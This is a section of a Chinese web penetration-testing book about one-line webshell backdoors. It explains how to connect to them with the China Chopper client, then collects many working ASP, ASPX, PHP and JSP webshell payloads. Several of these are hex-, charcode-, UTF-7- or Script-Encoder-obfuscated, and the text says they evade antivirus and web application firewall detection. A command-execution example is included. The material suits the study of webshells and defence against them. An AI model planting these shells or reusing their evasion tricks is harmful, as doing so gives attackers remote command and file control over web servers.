書名: Web滲透技術及實戰案例解析作者名: 陳小兵 范淵 孫立偉編著本章字數: 1057字更新時間: 2018-12-26 19:37:08
1.15 一句話后門利用及操作
一句話后門是Web滲透中用得最多的一個必備工具,流行一句話后門分為Asp、Asp.net、Jsp和Php四種類型。一句話后門利用的實質就是通過執行SQL語句、添加或者更改字段內容等操作,在數據庫表或者相應字段插入“<%execute request("pass")%>”、“<%eval request("pass")%>”、“<?php eval($_POST[pass])?>”、“<?php @eval($_ POST[pass])?>”、“<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>”等代碼。然后通過中國菜刀、lake一句話后門客戶端等工具進行連接。只需要知道上述代碼被插入到的具體文件以及連接密碼,即可進行WebShell的一些操作,它是基于B/S結構的架構。下面介紹如何利用中國菜刀(http://www.maicaidao.com)來進行一句話木馬操作。
1.15.1 執行中國菜刀
中國菜刀英文名字“chopper”,可以到官方網站http://www.maicaidao.com進行下載,解壓縮后直接運行chopper.exe即可,如圖1-119所示,默認提供了http://www. maicaidao.com/server.asp、http://www.maicaidao.com/server.aspx、http://www.maicaidao.com/ server.php三種類型。

圖1-119 執行中國菜刀
1.15.2 添加Shell
在中國菜刀中右鍵單擊,在彈出的菜單中選擇“添加”命令,即可添加Shell地址,如圖1-120所示,在地址中輸入一句話木馬Shell地址,地址后面是一句話木馬的連接密碼,在配置中選擇腳本類型,程序會自動識別腳本類型,最后單擊“添加”按鈕即可添加一個Shell地址。

圖1-120 添加Shell
1.15.3 連接一句話后門
回到中國菜刀主界面,雙擊剛才添加到Shell地址,即可連接一句話后門,如圖1-121所示,如果后門執行成功,則會網站的目錄結構和詳細文件等信息。

圖1-121 連接一句話后門
1.15.4 執行文件操作
通過中國菜刀客戶端可以方便地對文件進行操作,上傳文件、下載文件、編輯、刪除、復制、重命名、修改文件(夾)時間、新建和Access管理等操作。在中國菜刀中還可以對數據庫進行管理,通過配置數據庫用戶名和用戶密碼等參數即可對數據庫進行操作,如圖1-122所示。

圖1-122 執行文件操作
1.15.5 有關一句話后門的收集與整理
(1)php非一句話經典后門
php運行時如果遇見字符``(鍵盤上~符號的下擋鍵)總會嘗試著執行“``”里面包含的命令,并返回命令執行的結果(string類型);其局限性在于特征碼比較明顯,“``”符號在php中很少用到,殺毒軟件很容易以此為特征碼掃描到并警報,而且“``”里面不能執行php代碼;
將以下代碼保存為test.php
<?php echo `$_REQUEST[id]`; ?>
執行代碼:
test.php?id=dir c:/ 即可查看C盤文件,id后的參數可以直接執行命令。
(2)加密的asp一句話后門
將以下代碼保存為asp文件,或者將以下代碼插入到asp文件中,然后通過“黑狐專用一句話木馬加強版”進行連接,其密碼為“#”,執行效果如圖1-123所示。
<script language=vbs runat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) Function HextoStr(data) HextoStr="EXECUTE """"" C="&CHR(&H" N=")" Do While Len(data)>1 If IsNumeric(Left(data,1)) Then HextoStr=HextoStr&C&Left(data,2)&N data=Mid(data,3) Else HextoStr=HextoStr&C&Left(data,4)&N data=Mid(data,5) End If Loop End Function </script> <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String. fromCharCode (116, 114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109, 40,39,35,39,41,43,39,39,41,125,99,97,116,99,104,40,101,41,123,125))</SCRIPt>

圖1-123 使用加密的一句話木馬
(3)新型一句話后門
<% Set o = Server.CreateObject("ScriptControl") o.language = "vbscript" o.addcode(Request("cmd")) %> (3)常見的asp一句話后門收集 asp一句話木馬: <%%25Execute(request("a"))%%25> <%Execute(request("a"))%> %><%execute request("a")%><% <script language=VBScript runat=server>execute request("a")</script> <%25Execute(request("a"))%25> %><%execute request("yy")%> <%execute request(char(97))%> <%eval request(char(97))%> ":execute request("value"):a=" <script language=VBScript runat=server>if request(chr(35))<>"""" then ExecuteGlobal request(chr(35)) </script> 在數據庫里插入的一句話木馬 ┼攠數畣整爠煥敵瑳∨∣┩愾 ┼癥污爠煥敵瑳∨≡┩> 密碼為: a utf-7的馬 <%@ codepage=65000%> <% response.Charset="936"%> <%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%> Script Encoder 加密 <%@ LANGUAGE = VBScript.Encode %> <%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/ D`^4M`&Xb*oBMAAA==^#~@%> 可以躲過雷客圖的一句話。 <% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""1""))") %> php一句話 <? php eval($_POST[cmd]);?> <?php eval($_POST[cmd]);?> <?php system($_REQUEST['cmd']);?> <?php eval($_POST[1]);?> aspx一句話 <script language="C#" runat="server"> WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10"); </script> JSP一句話后門 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter(" f"))).write(request.getParameter("t").getBytes()); %>